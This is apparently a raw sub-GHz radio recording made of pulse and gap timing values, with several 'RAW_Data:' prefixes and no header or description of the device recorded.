-7378 2189 -2976 3371 -2942 3489 -2908 3291 -3120 3341 -3164 3173 -3188 3189 -3190 3393 -3006 3399 -2998 3205 -3194 3395 -2994 3401 -3006 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -3002 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -1402 1795 -2994 3407 -1396 1791 -1398 1801 -3002 3403 -2994 1799 -1402 1801 -1400 3401 -2994 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -2994 1801 -1400 3401 -4138 9989 -410 4445 -2630 3617 -2814 3415 -3006 3401 -3002 3401 -3004 3393 -3002 3393 -3002 3403 -2994 3401 -3002 3395 -3006 3197 -1598 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -3006 1605 -1596 1793 -1394 1795 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -1402 1799 -1402 1801 -3002 3393 -3002 1795 -1394 3399 -3002 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 3401 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -3002 3395 -7518 2025 -2782 3651 -2826 3417 -3010 3407 -3010 3409 -2998 3389 -2996 3397 -3010 3397 -2994 3203 -3194 3393 -3002 3395 -3002 3401 -2994 3401 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1398 1799 -1402 1801 -1396 3389 -3004 3401 -1400 1801 -3006 3397 -1398 1791 -1398 1801 -3002 3401 -2994 1801 -1402 3401 -1400 1597 -3190 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 -RAW_Data: 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 3401 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -2994 4001 -3412 1945 -2826 3517 -2924 3347 -3164 3381 -2988 3389 -2994 3393 -2996 3401 -3002 3393 -3002 3403 -2994 3401 -2994 3401 -3004 3393 -3002 3393 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -2992 1799 -1402 1799 -1402 1801 -1400 3393 -3004 3401 -1396 1793 -3002 3405 -1398 1797 -1400 1801 -3002 3393 -3006 3399 -2994 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 3397 -3004 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 3601 -1280 5101 -3078 3271 -3238 3223 -3014 3409 -3006 3405 -2996 3401 -3002 3401 -2994 3395 -3002 3401 -3002 3393 -3004 3393 -3002 3393 -3002 3395 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1400 1801 -1396 1791 -1400 3401 -3002 3401 -1402 1799 -3002 3395 -1400 1797 -1394 1795 -3002 3403 -3002 3393 -3006 3205 -3196 1595 -1594 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 3395 -3002 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 3401 -7728 1751 -3100 3263 -3030 3413 -3014 3415 -3006 3209 -3202 -RAW_Data: 3193 -3200 3197 -3194 3393 -2998 3407 -2994 3393 -3002 3403 -2994 3401 -3002 3393 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1394 1797 -3002 1799 -1402 1801 -1400 1801 -1396 3391 -3002 3401 -1400 1801 -3002 3403 -1396 1791 -1398 1801 -3002 3401 -2996 3401 -1400 1797 -2990 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 3401 -3004 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1797 -1398 3401 -3002 4405 -2758 2807 -2942 3325 -2938 3367 -3180 3379 -2990 3189 -3190 3393 -2996 3401 -2994 3401 -3002 3395 -3002 3401 -2998 3205 -3196 3393 -2994 3401 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -3004 1799 -1402 1799 -1402 1801 -1396 3397 -3004 3393 -1400 1801 -3002 3395 -1400 1801 -1400 1795 -2996 3405 -2996 3401 -1400 1801 -1402 1795 -2990 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 3401 -3004 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 3401 -1400 1801 -5956 861 -1316 1441 -3046 3355 -3176 3381 -2988 3389 -2994 3201 -3196 3393 -3002 3401 -2994 3403 -2994 3401 -3006 3397 -2996 3401 -2994 3401 -2994 3403 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -3002 1801 -1400 1801 -1400 1801 -1398 3389 -3002 3401 -1402 1799 -3004 3401 -1396 1793 -1398 1799 -3002 3403 -1396 1791 -3000 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 -RAW_Data: 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1398 3403 -3002 1801 -1400 1801 -1400 1795 -1396 1795 -1402 3401 -3002 1801 -1396 3991 -4480 15153 -2008 3809 -2602 3603 -3002 3401 -3002 3407 -3006 3393 -2994 3393 -3004 3405 -2998 3393 -3002 3395 -3002 3393 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -2994 1805 -1396 1797 -1402 1795 -1398 3401 -3002 3395 -1400 1801 -3006 3397 -1398 1791 -1398 1801 -3002 3401 -1398 1795 -3002 1801 -1402 3401 -3002 1597 -1592 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1597 -1592 1797 -1402 1799 -1402 3401 -3002 1801 -1396 1793 -1398 1799 -1402 1801 -1400 3401 -3002 3395 -7734 2455 -2034 3851 -2834 3419 -3014 3405 -3002 3401 -3002 3403 -3002 3393 -3002 3403 -2994 3401 -3002 3393 -2996 3401 -3002 3407 -2996 3399 -1404 1795 -1392 1795 -1402 1799 -1398 1797 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3006 3397 -1398 1791 -3000 3401 -1400 1801 -1398 1791 -2998 3403 -1400 1801 -3002 3401 -2994 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 3403 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 3401 -1398 1791 -3002 3607 -3594 2481 -2584 3775 -2732 3541 -2914 3491 -2916 3333 -3160 3375 -2982 3389 -2992 3393 -2994 3401 -3004 3393 -3002 3401 -2994 3395 -3002 3401 -1402 -RAW_Data: 1795 -1394 1797 -1400 1801 -1396 1797 -1400 1801 -3002 1801 -1400 1801 -1398 1795 -1402 3401 -3002 3395 -1400 1801 -2994 3401 -1402 1799 -1398 1791 -3000 3401 -1402 1799 -3002 3395 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 3401 -3002 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -1402 1801 -1400 1801 -7478 1559 -3038 3563 -2982 3391 -2992 3395 -3002 3399 -2996 3391 -2994 3393 -2994 3403 -3002 3407 -3004 3393 -2996 3393 -3002 3401 -2994 3403 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -2994 1801 -1400 1801 -1396 1797 -1402 3401 -2994 3401 -1402 1799 -2996 3401 -1400 1801 -1402 1795 -2990 3407 -1404 1795 -1394 1797 -3002 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1597 -1594 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3403 -2998 1603 -1598 1791 -1394 1797 -1402 3401 -3006 1605 -1596 1791 -1394 3399 -4468 1663 -3040 3363 -2940 3339 -3112 3293 -3122 3329 -3156 3367 -2982 3387 -2990 3393 -2994 3403 -3002 3401 -2994 3401 -3002 3395 -2994 3401 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -3002 1801 -1398 1791 -1398 1801 -1400 3401 -3006 3207 -1594 1789 -2992 3401 -1402 1801 -1400 1801 -2994 3401 -1402 1799 -1398 1797 -3002 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 -RAW_Data: 1797 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 3401 -3002 1801 -1398 1795 -1402 1799 -1398 3403 -3004 1597 -1594 3389 -3402 1499 -440 419 -600 599 -766 1693 -3100 3401 -3002 3395 -2994 3401 -3002 3395 -3002 3393 -3006 3205 -3200 3197 -3194 3201 -3194 3403 -2994 3401 -3002 3395 -3006 3397 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -2998 1801 -1400 1801 -1402 1799 -1402 3393 -3002 3401 -1398 1797 -3002 3401 -1398 1795 -1398 1797 -3002 3401 -1400 1797 -1398 1799 -1402 1801 -2994 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 3401 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -2996 4203 -806 201 -2874 1835 -2990 3405 -2996 3393 -3002 3393 -3004 3405 -2998 3393 -2994 3403 -2994 3401 -2994 3403 -3002 3401 -2994 3401 -2994 3403 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -3002 1801 -1398 1795 -1402 1799 -1398 3397 -3002 3403 -1396 1791 -3000 3401 -1402 1799 -1402 1801 -2998 3205 -1598 1791 -1394 1797 -1400 1801 -1400 1801 -3006 1605 -1596 1793 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 3401 -3002 1801 -1402 1799 -1402 1799 -1402 3393 -3002 3395 -1400 1801 -6000 21381 -2268 3645 -2836 3417 -3010 3407 -3008 3403 -2998 3399 -2996 3395 -2994 3401 -2994 3401 -2996 3401 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1394 1797 -3002 1801 -1400 -RAW_Data: 1801 -1400 1801 -1398 3397 -3002 3401 -1398 1791 -3000 3405 -1406 1795 -1394 1795 -1402 1801 -3006 1599 -1594 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 3401 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -1398 1795 -3002 1801 -1402 3601 -4730 8239 -2608 3611 -3002 3401 -3002 3401 -3002 3395 -3002 3401 -2998 3399 -3002 3393 -3002 3401 -2996 3401 -2994 3407 -2996 3399 -1404 1795 -1396 1791 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3006 3397 -1398 1791 -3000 3401 -1400 1801 -1398 1795 -1402 1801 -3002 1795 -1398 1801 -1400 1801 -1396 3391 -3002 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 3401 -2994 1801 -1400 1801 -1396 1793 -1398 3401 -1400 1801 -3006 3397 -7406 3789 -200 4429 -2816 3413 -3014 3407 -3002 3407 -3004 3393 -3000 3397 -2994 3401 -2996 3401 -3002 3399 -3004 3395 -2994 3401 -2994 3401 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -3002 3393 -1402 1799 -3002 3395 -1400 1801 -1396 1793 -1398 1799 -3006 1805 -1398 1791 -1398 3401 -3002 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 -RAW_Data: 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 3403 -2994 1799 -1402 1801 -1396 1797 -1400 3403 -1400 1795 -1394 1797 -3002 3401 -4904 1617 -2646 3741 -2764 3575 -2986 3385 -2994 3395 -3002 3393 -3002 3393 -3004 3393 -3002 3401 -3002 3395 -3002 3393 -3002 3403 -2994 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -2994 3401 -1402 1801 -2998 3205 -1598 1791 -1394 1797 -1400 1801 -3002 1801 -1400 1801 -1396 3399 -1400 1801 -3002 1595 -1594 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 3401 -3002 1801 -1400 1801 -1400 1797 -1394 3397 -1402 1799 -1402 1799 -1402 1795 -6010 3547 -1150 3953 -2576 3585 -2990 3395 -2994 3393 -3002 3403 -3002 3393 -3002 3407 -2996 3395 -2994 3401 -3002 3395 -3002 3401 -2994 3393 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -3002 1799 -1402 1795 -1398 1801 -1400 3403 -2994 3401 -1400 1797 -2998 3407 -1404 1597 -1592 1793 -1398 1799 -3002 1801 -1402 3401 -2998 1605 -1596 1791 -1398 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 3403 -2994 1799 -1402 1801 -1400 3401 -2998 1805 -1398 1791 -1398 1801 -1400 3601 -4812 1887 -2884 3391 -2994 3393 -2994 3395 -2994 3401 -3002 3393 -3004 3401 -2994 3401 -3002 3395 -3002 3201 -3198 3205 -3196 3393 -2998 3205 -1598 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1398 1799 -1402 1801 -1400 3393 -3004 -RAW_Data: 3393 -1400 1801 -3002 3395 -1400 1801 -1400 1801 -1396 1793 -2998 1801 -1400 3403 -2994 3401 -3002 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 3401 -3002 1797 -1394 1795 -1402 3401 -3002 1801 -1398 1791 -1398 3401 -4786 197 -1694 1655 -3046 3275 -3160 3351 -3136 3317 -2902 3311 -3324 3147 -3168 3181 -3186 3191 